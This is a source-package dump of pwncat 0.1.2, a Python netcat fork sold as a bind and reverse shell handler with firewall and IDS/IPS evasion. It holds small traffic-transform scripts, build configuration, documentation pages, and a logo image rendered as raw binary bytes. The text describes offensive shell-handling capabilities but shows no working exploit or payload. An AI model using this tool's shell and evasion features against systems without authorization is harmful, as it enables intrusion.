pwncat-0.1.2/pse/chat-bot/pse-chat_bot.py000066400000000000000000000021271414025024700202210ustar00rootroot00000000000000"""Greet Bot.""" PSE_BOT_QUESTIONS = [ "How is the weather?", "How old are you?", "What do you do today?", "Do you like Python?", "Have you had dinner?", "Can you guess my name?", "Are you bored?", "Why are you chatting to a bot?", "Do you expect me to answer properly?", ] def transform(data, pse): """Transform.""" global PSE_BOT_QUESTIONS # Setup custom data structure if pse.store is None: pse.store = {} if "bot" not in pse.store: pse.store["bot"] = {} from random import randrange if "greet" not in pse.store["bot"]: if any(x in data for x in ["hi", "helo", "halo", "hallo", "hello"]): pse.store["bot"]["greet"] = True return "Nice to meet you, what is your name?\n" return "Be polite and greet first.\n" if "name" not in pse.store["bot"]: pse.store["bot"]["name"] = data.rstrip() return "OK, I call you: {}".format(data) index = randrange(0, len(PSE_BOT_QUESTIONS)-1) return "Hi {}, {}\n".format(pse.store["bot"]["name"], PSE_BOT_QUESTIONS[index]) pwncat-0.1.2/pse/http-post/000077500000000000000000000000001414025024700155365ustar00rootroot00000000000000pwncat-0.1.2/pse/http-post/README.md000066400000000000000000000007551414025024700170240ustar00rootroot00000000000000# PSE: HTTP POST The two scripts show-case how to pack and unpack data into HTTP POST requests. ## Usage Use high verbosity to see how the data gets transformed. ### Server ```bash pwncat -vvvv -l localhost 4444 \ --script-send pse/http-post/pse-http_post-pack.py \ --script-recv pse/http-post/pse-http_post-unpack.py ``` ### Client ```bash pwncat -vvvv localhost 4444 \ --script-send pse/http-post/pse-http_post-pack.py \ --script-recv pse/http-post/pse-http_post-unpack.py ``` pwncat-0.1.2/pse/http-post/pse-http_post-pack.py000066400000000000000000000010561414025024700216370ustar00rootroot00000000000000"""PSE module pack data into a HTTP POST request.""" def transform(data, pse): """The transformer function.""" param = "payload" body = param + "=" + data headers = [] headers.append("POST / HTTP/1.1") headers.append("Host: localhost") headers.append("User-Agent: pwncat") headers.append("Accept: */*") headers.append("Content-Length: {}".format(len(body))) headers.append("Content-Type: application/x-www-form-urlencoded") headers.append("") headers.append("") return "\n".join(headers) + body + "\n\n" pwncat-0.1.2/pse/http-post/pse-http_post-unpack.py000066400000000000000000000006671414025024700222110ustar00rootroot00000000000000"""PSE module unpack data from a HTTP POST request.""" def transform(data, pse): """The transformer function.""" param = "payload" pos = data.find(param + "=") pos += len(param + "=") body = data[pos:] if body.endswith("\r\n"): body = body.rstrip("\r\n") elif body.endswith("\n"): body = body.rstrip("\n") elif body.endswith("\r"): body = body.rstrip("\r") return body + "\n" pwncat-0.1.2/requirements.txt000066400000000000000000000000001414025024700162570ustar00rootroot00000000000000pwncat-0.1.2/setup.cfg000066400000000000000000000041741414025024700146340ustar00rootroot00000000000000[metadata] description-file = README.md [bdist_wheel] universal=1 # -------------------------------------------------------------------------------- # Linter # -------------------------------------------------------------------------------- [pycodestyle] max-line-length = 100 statistics = True show-source = True show-pep8 = True [pydocstyle] convention = google # D107: Description is on the class level instead add_ignore = D107 [flake8] max-line-length = 100 [pylint] # useless-object-inheritance: don't lint useless-object-inheritance to stary Python2/3 compatible # bad-continuation: let Python Black take care of this # unidiomatic-typecheck: Need to check if int or bool and this doesnt work with isinstance() disable = useless-object-inheritance, bad-continuation, unidiomatic-typecheck, super-with-arguments, raise-missing-from, use-a-generator, consider-using-f-string, consider-using-dict-items, unused-private-member, unspecified-encoding max-branches = 30 max-statements = 125 max-args = 15 max-attributes = 13 max-locals = 37 max-module-lines = 7000 max-bool-expr = 6 max-returns = 11 min-public-methods = 1 max-nested-blocks = 7 # List of note tags to take in consideration, separated by a comma. #notes=FIXME,TODO notes=FIXME [mypy] # Display show_error_context = True show_column_numbers = True show_error_codes = True pretty = True color_output = True error_summary = True # Meta warn_unused_configs = True incremental = False show_traceback = True # Mode strict_optional = True show_none_errors = True # Allow disallow_any_expr = False disallow_any_explicit = False disallow_any_decorated = False # Deny disallow_any_unimported = True disallow_any_generics = True disallow_subclassing_any = True disallow_untyped_calls = True disallow_untyped_defs = True disallow_incomplete_defs = True check_untyped_defs = True disallow_untyped_decorators = True warn_redundant_casts = True warn_unused_ignores = True warn_no_return = True warn_return_any = True warn_unreachable = True allow_untyped_globals = False allow_redefinition = False [bandit] # B101: asserts # B404: blacklist (this is an offensive tool overall) skips = B101,B404 pwncat-0.1.2/setup.py000066400000000000000000000037401414025024700145230ustar00rootroot00000000000000"""Pip configuration.""" from setuptools import setup with open("README.md", "r") as fh: long_description = fh.read() setup( name="pwncat", version="0.1.2", description="Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell and port forwarding magic - and its fully scriptable with Python (PSE).", license="MIT", long_description=long_description, long_description_content_type="text/markdown", author="cytopia", author_email="cytopia@everythingcli.org", url="https://pwncat.org/", install_requires=[], scripts=[ "bin/pwncat" ], project_urls={ 'Source Code': 'https://github.com/cytopia/pwncat', 'Documentation': 'https://docs.pwncat.org/', 'Bug Tracker': 'https://github.com/cytopia/pwncat/issues', }, classifiers=[ # https://pypi.org/classifiers/ # # How mature is this project "Development Status :: 4 - Beta", # Indicate who your project is intended for "Intended Audience :: Developers", "Intended Audience :: Information Technology", "Intended Audience :: Science/Research", "Intended Audience :: System Administrators", # Project topics "Topic :: Communications :: Chat", "Topic :: Communications :: File Sharing", "Topic :: Internet", "Topic :: Security", "Topic :: System :: Shells", "Topic :: System :: Systems Administration", "Topic :: Utilities", # License "License :: OSI Approved :: MIT License", # Specify the Python versions you support here. In particular, ensure # that you indicate whether you support Python 2, Python 3 or both. "Programming Language :: Python", "Programming Language :: Python :: 2", "Programming Language :: Python :: 3", # How does it run "Environment :: Console", # Where does it rnu "Operating System :: OS Independent", ], ) pwncat-0.1.2/share/000077500000000000000000000000001414025024700141075ustar00rootroot00000000000000pwncat-0.1.2/share/doc/000077500000000000000000000000001414025024700146545ustar00rootroot00000000000000pwncat-0.1.2/share/doc/Makefile000066400000000000000000000040141414025024700163130ustar00rootroot00000000000000ifneq (,) .error This Makefile requires GNU Make. endif # ------------------------------------------------------------------------------------------------- # Default configuration # ------------------------------------------------------------------------------------------------- .PHONY: help build autobuild linkcheck linkcheck2 # ------------------------------------------------------------------------------------------------- # Default Target # ------------------------------------------------------------------------------------------------- help: @echo "build Build and test documentation" @echo "autobuild Continuously run and build (http://0.0.0.0:8000)" @echo "linkcheck Sphinx linkcheck" @echo "linkcheck2 Custom linkcheck" # ------------------------------------------------------------------------------------------------- # Target # ------------------------------------------------------------------------------------------------- linkcheck2: docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -v $(PWD):/data \ cytopia/linkcheck -l -k -r 60 -t 30 -e rst -c '200,204' _includes/ linkcheck: docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -e SPHINX_PROJECT="doc" \ -e SPHINX_PORT=8000 \ -e NEW_UID="$$(id -u)" \ -e NEW_GID="$$(id -g)" \ -v $(PWD)/..:/shared/httpd \ devilbox/python-sphinx:3.8-dev \ sphinx-build -M linkcheck . _build build: docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -e SPHINX_PROJECT="doc" \ -e SPHINX_PORT=8000 \ -e NEW_UID="$$(id -u)" \ -e NEW_GID="$$(id -g)" \ -v $(PWD)/..:/shared/httpd \ devilbox/python-sphinx:3.8-dev \ sphinx-build -a -E -n -j auto -W . _build/html autobuild: docker run \ --rm \ $$(tty -s && echo "-it" || echo) \ -e SPHINX_PROJECT="doc" \ -e SPHINX_PORT=8000 \ -e NEW_UID="$$(id -u)" \ -e NEW_GID="$$(id -g)" \ -p "8000:8000" \ -v $(PWD)/..:/shared/httpd \ devilbox/python-sphinx:3.8-dev \ sphinx-autobuild -a -E -n -j auto -W --host 0.0.0.0 --port 8000 . _build/html pwncat-0.1.2/share/doc/_static/000077500000000000000000000000001414025024700163025ustar00rootroot00000000000000pwncat-0.1.2/share/doc/_static/css/000077500000000000000000000000001414025024700170725ustar00rootroot00000000000000pwncat-0.1.2/share/doc/_static/css/pwncat.css000066400000000000000000000026041414025024700211020ustar00rootroot00000000000000/************************************************************ * MENU ***********************************************************/ /* overwrite logo dimensions */ .wy-side-nav-search>a img.logo, .wy-side-nav-search .wy-dropdown>a img.logo { width: 128px; } /* overwrite top-left serach div */ .wy-side-nav-search { background-color: #343131; } /* sidebar category headlines */ .wy-menu-vertical header, .wy-menu-vertical p.caption { margin-top: 25px; margin-bottom: 15px; padding: 0 1.518em; padding-top:10px; border-top: 1px solid #9b9b9b; font-size: 100%; } /************************************************************ * Code blocks ***********************************************************/ /* Disable annoying scrollbar in code-blocks */ .codeblock, pre.literal-block, .rst-content .literal-block, .rst-content pre.literal-block, .rst-content div[class^='highlight'], div[class^='highlight'] { overflow: hidden !important; } /* bg color for code windows */ .highlight { background-color: #ffffff !important; } .rst-content .code-block-caption { text-align: left !important; } /* div.rtd-pro.rtd-pro-footer { display: none; } */ /************************************************************ * Custom overwrites ***********************************************************/ table.install, table.install th.head { text-align: center; } /* div.contents p { margin-bottom: 10px; } */ pwncat-0.1.2/share/doc/code/000077500000000000000000000000001414025024700155665ustar00rootroot00000000000000pwncat-0.1.2/share/doc/code/api.rst000066400000000000000000000000601414025024700170650ustar00rootroot00000000000000*** API *** https://pwncat.org/pwncat.api.html pwncat-0.1.2/share/doc/code/coverage.rst000066400000000000000000000001001414025024700201020ustar00rootroot00000000000000******** Coverage ******** https://pwncat.org/pwncat.type.html pwncat-0.1.2/share/doc/conf.py000066400000000000000000000143531414025024700161610ustar00rootroot00000000000000# -*- coding: utf-8 -*- # # Configuration file for the Sphinx documentation builder. # # This file does only contain a selection of the most common options. For a # full list see the documentation: # http://www.sphinx-doc.org/en/stable/config import os # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # # import os # import sys # sys.path.insert(0, os.path.abspath('.')) from recommonmark.parser import CommonMarkParser # -- Project information ----------------------------------------------------- project = u'pwncat' copyright = u'2020, cytopia' author = u'cytopia' # The short X.Y version #version = u'0.1.1' # The full version, including alpha/beta/rc tags #release = u'0.1.1' # -- General configuration --------------------------------------------------- # on_rtd is whether we are on readthedocs.org, this line of code grabbed from docs.readthedocs.org on_rtd = os.environ.get('READTHEDOCS', None) == 'True' # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'sphinx.ext.todo' ] todo_include_todos = True # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # source_suffix = '.rst' # Exclude Markdown files for now #source_suffix = ['.rst', '.md'] #source_parsers = { # '.md': CommonMarkParser, #} # The master toctree document. master_doc = 'index' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path . exclude_patterns = [ u'_build/*', u'_includes/**', u'venv/**', u'requirements.txt', u'Thumbs.db', u'.DS_Store' ] # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' rst_epilog = """ .. |psf| replace:: pwncat """ # -- Options for Link check ------------------------------------------------- # http://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-the-linkcheck-builder linkcheck_ignore = [ r'http(s)?://localhost(/)?.*', r'http(s)?://127\.0\.0\.1(/)?.*', r'http(s)?://.+\.loc$', r'http(s)?://.+\.loc/.+$' ] linkcheck_retries = 5 linkcheck_timeout = 60 linkcheck_anchors = True # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # #html_theme = 'alabaster' #html_theme = 'sphinx_rtd_theme' html_theme = 'default' html_logo = 'img/logo.png' # From: # * https://github.com/snide/sphinx_png_theme#using-this-theme-locally-then-building-on-read-the-docs if not on_rtd: # only import and set the theme if we're building docs locally import sphinx_rtd_theme html_theme = 'sphinx_rtd_theme' html_theme_path = [sphinx_rtd_theme.get_html_theme_path()] # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # https://sphinx-rtd-theme.readthedocs.io/en/latest/configuring.html#project-wide-configuration html_theme_options = { 'canonical_url': '', 'analytics_id': '', 'logo_only': False, 'display_version': False, 'prev_next_buttons_location': 'bottom', #'style_external_links': True, #'vcs_pageview_mode': '', # Toc options 'collapse_navigation': False, 'sticky_navigation': True, 'navigation_depth': 5, #'includehidden': True, #'titles_only': False } # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # The default sidebars (for documents that don't match any pattern) are # defined by theme itself. Builtin themes are using these templates by # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', # 'searchbox.html']``. # # html_sidebars = {} def setup(app): '''Include custom css file''' app.add_css_file('css/pwncat.css') # If true, “Created using Sphinx” is shown in the HTML footer. Default is True. html_show_sphinx = False # -- Options for HTMLHelp output --------------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'pwncat' # -- Options for LaTeX output ------------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ ( master_doc, 'pwncat.tex', u'pwncat documentation', u'cytopia', 'manual' ), ] # -- Options for manual page output ------------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ( master_doc, 'pwncat', u'pwncat documentation', [author], 1 ) ] pwncat-0.1.2/share/doc/faq.rst000066400000000000000000000052361414025024700161630ustar00rootroot00000000000000*** FAQ *** .. contents:: Table of Contents :local: :class: local-toc General ======= How to install pwncat? ---------------------- `pwncat `_ is available on most Linux distributions (e.g. Kali Linux), on MacOS via `homebrew `_ and via `pip `_. See :doc:`installation` for detailed instructions. Does pwncat work on Linux? -------------------------- Yes, with Python2 or Python3 Does pwncat work on MacOS? -------------------------- Yes, with Python2 or Python3 Does pwncat work on Windows? ---------------------------- Yes, with Python2 or Python3 Does pwncat work on \*BSD? -------------------------- Yes, with Python2 or Python3 Terminology =========== What is pwncat? --------------- `pwncat `_ is a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat , ncat or socat. It comes with a Python Scripting Engine (PSE) that allows you to manipulate incoming and outgoing traffic to your needs. This can reach from wrapping current TCP/UDP traffic into higher protocols such as HTTP, FTP, Telnet, etc or even go to encrypting and decrypting your traffic. What is netcat? --------------- netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of connection its user could need and has a number of built-in capabilities. `[1] `_ .. _what_is_a_reverse_shell: What is a reverse shell? ------------------------ A reverse shell is a type of shell that is initiated from a victim's computer to connect with attacker's computer. Once the connection is established, it allows attacker to send over commands to execute on the victim's computer and to get results back. `[2] `_ .. _what_is_a_bind_shell: What is a bind shell? --------------------- A bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server. `[3] `_ pwncat-0.1.2/share/doc/github.rst000066400000000000000000000007151414025024700166730ustar00rootroot00000000000000****** GitHub ****** You can find ``pwncat`` on GitHub here: .. |img_lnk_logo_github| raw:: html .. list-table:: :widths: 25 :header-rows: 1 :class: install * - GitHub * - |img_lnk_logo_github| * - `cytopia/pwncat `_ pwncat-0.1.2/share/doc/img/000077500000000000000000000000001414025024700154305ustar00rootroot00000000000000pwncat-0.1.2/share/doc/img/logo.png000066400000000000000000005707031414025024700171120ustar00rootroot00000000000000PNG  IHDR.D'zTXtRaw profile type exifxڭgdnsZYAh3ی{ORhz:+8mw?!eKu/?5L^/>u뮭7&9}{?~nnے֟ KœBu=]Wk~~ݟK>}_W~?-Fݽ{>w7seԏ[yFc)XWw~ ~unqM4_˅"}C;py_WX\b'6Ƹbz-}֯pcK#m:QYD-ry-w93_~{Uϵނs]$-ooMDe9+ҋs}g?%܅ R 5xҡ:v3r4"J;KlRGϴK B4B3$X9N͒JvZZeYS͵Z[F͖ZnZo͞zzGʨsrɡ'cN,[jͺ YyUW[}5wiSvct)vg^rogԾQcŸ"QS{_5^n!(fD,@ě"@BGsT3?"EQ"Q EA#Xn_qs%)rNS辑k&j{>FI/@BO` ا8WR3TZTC˱) #E}$w?_g1-ƺ5j<ܝWaDu8`yg<'ڮ5v=<=dsβ{,nl<m 9nwIae֘@SSg;V)]3o^'θ;5o7ߙ+]M1rk Y7 h Cp\uZ\{HAN_ nRfc4A lj6)ؤV]OV̚?T5W=4@™A4`e:>2@??l,6]n6).t`iq(_QYx.r-R8Ϡ(H+1[R s^" ^i%tV +T$x>8pN8 I6VIE:nP,R P4~vYYD<رPNruWvM A]϶R&5f(]BxظT2(Rp rv-{'?nfvSmؓt);n8av~9FGIb%nY O1Db;&Uv.Aڅt\$O$F:@B6Hq#}K+kI솋JV`4XK )m a,zvahAX>Ť<͆ģ^Ezո! ʆ䜰'@HLpE|/bUm]$\Z]z ߑP$#c%au;V%ɐ0^=e$ZQ"7ۖQeuV,=^Bp *+ng Q,f Eͺa `s*0JsZt4Kx?647Ӊk""B=Y;*O6HS:w* Xp$:Me_D֣4.QĨ="' xvAb쀖_{p#ݝ劐 FT "as{,|il$;P 7"akDW4Ec)@J < A׆2ƒ %B Gol.WLߤ'1(#*$4߀7Oli/t56,XAt\F޼ufwO7tQky|vbל};“Yo g!`b9Ȇk;bSqL[υrwWrEZ;ũ"_3/#(l%fG5%[X:xG 92XeÇ` ,YbIg0 VxnFDg,jR5(ip;AL'F@rnM ~\,ЉǏ+` n+IZc%ZRȥ  +ބDI`sQ(~-wȺi\1hM{H$jT,h 1çjā"YaY6d jH[uCi*,?%(h5:Pm߹{D@B_[$Ϋ#(TTeT~|uӚ_AKp\=Ba }g.tNL4w=; /*tHyŹvDP%]QlXY#64 k*093F&ckq+?tAXuc p$΁Z0F?H-ޘZ$E ' QNᣂJ`{iy)ȱDVbi'ڟQ,E 4(at'tx9P;82k)[E:LWM*Y ʺ!6r .gheP%A &mBvU?FT 3Wz31:m6/鲢WJ @ |^4lA52R'J3dXR֒Mc `?b h{z6ȭ,$ɮIQˆ 1fULYPyra[`k:ea:^k &q\Ζぞ)9.Z@VwtWAPAFX,qWc8$Zd/|P]$a;;#E,qk!Y<\DRpg˕YL)hRkDa )v\wFjksEWVbD7?F*7$_q,8j.i n` 8`J}IíPPH骭sIuThCRNז#m/SN O[ n /:l-Ժԡ ԖĞ3\РC <9?J34Ix[3;<#.tk}$S;B#"Xrq녉E!\e0Sb ǑnK>F}wADz@!9"+NEkn2nGe|<.->( 0-O{,h#b![*{IePoy a!O6| fANmG:UC;6fd/ ʘd "7 @fT#}rsoiEmduIH1Z2bF=U 굈\"e6:͌7qNC=7 `Ɲ5FPak+ÈXɅ?A̡'eڹ БG\=ˣ YKJ$)JW xZ!CT;Z,Y%lj68rV_eaz:I6 }*_k\^[)ㅄR2OfHn-kRa pf)- (.'U,w*h"1%h',I$Q*#k&nN~8'M K}PRmߛ4VUp 9R3FrE䏘dS,ĺ+BQ(sCvD.PIy|&Cj5Fk[x.](ġ`M{'0H+z"f-$N8N:;uK gqmomFGMȑX{=Γx\ Y'""y'K򥰤DhU\UĤ{EM'9dha()oa"jPM*u{:umS =Kt)<0Z%P>V7ka U]Wk3pXF0̡˳-]*jkh5\N3;dAIilR}2*D|׌&em&Ϛzi hX{ڠ#L$>7X5hrvKTx HAj8Hz/MUd7` %%SJ$ jiZ(a[ڱty}R͜M&^XTAHjIm $mB0E~47:0`D~t.nz(pavGmE u]69⠾58LTeղƇLrQ J o84e oL|ݫv(#.W*! tE0J_}!<ڛ %? #|rsLJ]Qp0+ɪ(uv`7i-T$`4pl ,(e TiNg<Ӭ#lrUڟB G?"i&@0[N#.S @@pi!}mj X M۠ u59!@M+Mh꺃,2p$@k\ja+ل+޳q/7WAfl%¨iހӛ^RbGk"jIX%Ą#Xi 5+t.π%dN S_rxJAP.Cs ɏaLH*̡"wlV\"m;g̋a(i%lF `kCzt,Q7(-6=7&"\HGVy<C5SVX~&iiEkn.ށ9|E\.i~4Љń5/JEb9 fS5,h6/ J4*n:=|?3Y,rJHQ 9ᇸ-tmW4i&иoQƅ8PHBB H7 R9׃Wm.&3A!n`ᢡ~bdQڔ{V]w(2H4m$jh5i"hB,PLf[H"Th&y9yz]n,6G p#' &DGsUE@9G`eejQOHwk:[O$èށW#h+G~E=ZE; !cMqHm(y԰zʴzMZ6%'dr 68qQޣ( +q;Q 6fEH/]G-] lqGtڛ~*FZXdlM7VƬЩl ޫ8 _$.4#)&^; ;ȷbKGD pHYsMMʍ/tIME("6( IDATximqT}kܹG͡9H(K$E)v,0FA F~$NbHHǀ81` 8 dDIdw{\続w$8辽w{kU}UBAC%(((xܡ^(CA9WPPP%(Iy_PP\RWB(m ^AAAAS<\)AT%<#4T};;, #?C oJeWPPPP*G0Qݧ+Rqhuے{oAAA o֑ jH;*T*O(.Ϛ0`}Ǽ!)w9*Jx}IlUė.(X?T)*ٽ%cL^)I{ɺ\wշ*Z ,s"+7+};7S<鵵/<⧪7 g8~T}CLx&OgHw ~ $XpFTC =&VW/'/%W8u7xK‹)Lg 1H|‰¿E=gk啷*/l ,Hzp^ݕc 72{/ m?'Q,y@֚~l|T/ K{O4~m31r `ԙ.DNW7/~GaϯT|?\Rɟ+%WJ.')< ߟWwdXݹfm6n粠~Wƫ͛J}GDǷW{" КےJ-̑=jEBԷ,S%?VVQ<'%uTqQ+f$e3[M5,((8CL04ENΌ8LS+씤U%K3lQ苲)ʖ*)i^n1w<g0!dOzf(B#03TV>y㾲 % "<ܲV°mx6UT}e~y& /=d֌ d|WSui>^[,I'nSa]-"HxHű,0e,R-F*u/x_14}^p̋h^ImG3cGfc`lvz#}7dAAA;:VQϥ*@ݵlȞpB?M\ԊHuHnk#¶(]ZcǶbVɂ3c3}T$01VvAW*Is:$ 5 k+)`g1FS3aT(=#118mi1-dAAb} L0+>'fHb14+j~6.x>NIOOK qI+ c3Z۹vneS4aM7چCLm]~y& e$_ꈰ! x[1P>9ISAAD\Sc1zʺe90BcМ,¦g¤gqm __-08lƖHcll~GzqIzeoxZ{tQ^o(T0¸3ǖQjݗ&Jƺ \Z(vUV2$aΜY LդG}d%%-Q.iE/ovgy--Q6D2ށ]3L!eٰu#3zUގ({l.BWVΚ1HMϥjx'/{{R+BO\ŕ[e-ѧT .:ŗ>gTd)+ $b$dPa?grfSksn[ 03~)UyCT-`\͙24c[8L&rNZjY`+P\ eqiPf`L̙'f0(ɹ%hflIbGL1S*]vLj1Rz' \o3bvKb[2Ʉ3~qK`<gE~; ' &xKĖ˚86?dכd#al+hiMcg#6ϱDrWS{>>`ٙ["A#;| F)c2ۚ0U%Yɂ3֢|=1k*LoaiGef Q <7Cz왔|g^dC&ʱ-lrOX^ cwڗ"FJL?MQv,X،~VCd=M1-=*K lZ5#pl]JOBe Ηg 8 }AL[S~Y ҚqT0Qɺ"#ɴdGZ|Z&!\֊ٓGUb&TÕ♔dznxm92ch:/@)U!"t75;By& 8IdE b@ɛ"3P$*>!a6N2$<+e?m;>XlpZTyj1݄7>*IO,,YИ)DhMX0L$ + 50f'Q 4cOP8̚(l^áe&ƩN"tL~^r'^ QcłXBѳ0i0a:̮R33|)JaG/im5p=elэ]wMBh}(P8/=QIT." t7OpՂG| pZSz˳YPPpØP!S QT77mSs8'n|Po̵ܲ!Y!A86c$p;|mbEN٠K*lUN ,޼. :798)-F ;.\DcI08`[畈%M'}kT"-rflm9 )y7Wv`|vEJE0gz憱pboKYl,{wQU!EПqܵbsŸvD!^TYܐw6P.,WhU1Aa~lYF1 13P/0nK]MncP!l/x d=#seA{/g ҲbVeުsZ`4b>FO=o}=qoQ@7H\4bRXpqwEAݹ{⅔8Alڍ z+\`ڷQ%h,fAAe$FlIW{X! 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J mٛ{J2 b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!b!%jIENDB`pwncat-0.1.2/share/doc/index.rst000066400000000000000000000024161414025024700165200ustar00rootroot00000000000000.. :hidden: ******************** pwncat documentation ******************** .. |img_banner| `pwncat `_ is a fully compatible netcat fork written in Python with many more aggressive network features on top. It comes with a **Python Scripting Engine** (PSE) that allows you to manipulate incoming and outgoing traffic to your needs. This can reach from wrapping current TCP/UDP traffic into higher protocols such as HTTP, FTP, Telnet, etc or even go to encrypting and decrypting your traffic. Besides regular netcat features like full IPv4, IPv6 and UDP/TCP, IP ToS, port scanning, server/client, bind- and reverse shells, it also comes with pivoting features, ssh-less local and remote port-forwarding, port-hopping, target self-injection and many more. Contents ======== .. toctree:: :maxdepth: 3 installation usage .. toctree:: :caption: Basic Usage :maxdepth: 2 usage/reverse-shell usage/bind-shell usage/local-port-forwarding usage/remote-port-forwarding usage/send-receive-files usage/portscanning .. toctree:: :caption: Features :maxdepth: 2 pse .. toctree:: :caption: Code :maxdepth: 2 code/api code/coverage .. toctree:: :caption: Misc :maxdepth: 2 faq github pypi pwncat-0.1.2/share/doc/installation.rst000066400000000000000000000126661414025024700201220ustar00rootroot00000000000000.. |img_lnk_logo_github| raw:: html .. |img_lnk_logo_pip| raw:: html .. |img_lnk_logo_mac| raw:: html .. |img_lnk_logo_arch| raw:: html .. |img_lnk_logo_blackarch| raw:: html .. |img_lnk_logo_centos| raw:: html .. |img_lnk_logo_fedora| raw:: html .. |img_lnk_logo_kali| raw:: html .. |img_lnk_logo_nixos| raw:: html .. |img_lnk_logo_oracle| raw:: html .. |img_lnk_logo_parrot| raw:: html .. |img_lnk_logo_pentoo| raw:: html .. _installation: ************ Installation ************ .. contents:: Table of Contents :local: :class: local-toc Generic Installation ==================== `pwncat `_ can be installed easily via `pip `_ or from `GitHub `_ on **BSD**, **Linux**, **MacOS** or **Windows**. .. list-table:: :widths: 25 25 :header-rows: 1 :class: install * - Pip - GitHub * - |img_lnk_logo_pip| - |img_lnk_logo_github| * - ``pip install pwncat`` - `cytopia/pwncat `_ Specific Installation ===================== Alternatively ``pwncat`` can also be installed with your operating system's package manager of choice. Linux ----- .. list-table:: :widths: 25 25 25 25 :header-rows: 1 :class: install * - Arch Linux - BlackArch - CentOS - Fedora * - |img_lnk_logo_arch| - |img_lnk_logo_blackarch| - |img_lnk_logo_centos| - |img_lnk_logo_fedora| * - ``yay -S pwncat`` - ``pacman -S pwncat`` - ``yum install pwncat`` - ``dnf install pwncat`` .. list-table:: :widths: 25 25 25 25 :header-rows: 1 :class: install * - Kali Linux - NixOS - Oracle Linux - Parrot OS * - |img_lnk_logo_kali| - |img_lnk_logo_nixos| - |img_lnk_logo_oracle| - |img_lnk_logo_parrot| * - ``apt install pwncat`` - ``nixos.pwncat`` - ``yum install pwncat`` - ``apt install pwncat`` .. list-table:: :widths: 25 :header-rows: 1 :class: install * - Pentoo * - |img_lnk_logo_pentoo| * - ``net-analyzer/pwncat`` MacOS ----- .. list-table:: :widths: 25 :header-rows: 1 :class: install * - MacOS * - |img_lnk_logo_mac| * - ``brew install pwncat`` Windows ------- There is currently no package for Windows, so you are adviced to install it via `pip `_ or `GitHub `_. If you want to package it, please contact me. \*BSD ----- There is currently no package for \*BSD, so you are adviced to install it via `pip `_ or `GitHub `_. If you want to package it, please contact me. Requirements ============ * Python2 or Python3. .. note:: ``pwncat`` only uses Python core libraries and does not have any other dependencies. It is fully compatible starting from Python 2.7 up to the latest Python 3.x version. pwncat-0.1.2/share/doc/pse.rst000066400000000000000000000004441414025024700161770ustar00rootroot00000000000000*********************** Pwncat Scripting Engine *********************** The ``pwncat`` Scripting Engine (PSE) is a flexible way to apply your own transformations to incoming and outgoing traffic (or generally speaking to all sorts of I/O). https://github.com/cytopia/pwncat/tree/master/pse pwncat-0.1.2/share/doc/pypi.rst000066400000000000000000000010071414025024700163650ustar00rootroot00000000000000**** PyPI **** You can find ``pwncat`` on the Python Packe Index here: .. |img_lnk_logo_pip| raw:: html .. list-table:: :widths: 25 :header-rows: 1 :class: install * - PyPI * - |img_lnk_logo_pip| * - `pypi.org/project/pwncat `_ pwncat-0.1.2/share/doc/requirements.txt000066400000000000000000000000471414025024700201410ustar00rootroot00000000000000recommonmark sphinx_rtd_theme Pygments pwncat-0.1.2/share/doc/usage.rst000066400000000000000000000436261414025024700165250ustar00rootroot00000000000000***** Usage ***** .. |img_lnk_logo_github| raw:: html .. list-table:: :widths: 25 :header-rows: 1 :class: install * - GitHub * - |img_lnk_logo_github| * - `cytopia/pwncat `_ .. code-block:: console usage: pwncat [options] hostname port pwncat [options] -l [hostname] port pwncat [options] -z hostname port pwncat [options] -L [addr:]port hostname port pwncat [options] -R addr:port hostname port pwncat -V, --version pwncat -h, --help Enhanced and comptaible Netcat implementation written in Python (2 and 3) with connect, zero-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems. If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically re- connect. positional arguments: hostname Address to listen, forward, scan or connect to. port [All modes] Single port to listen, forward or connect to. [Zero-I/O mode] Specify multiple ports to scan: Via list: 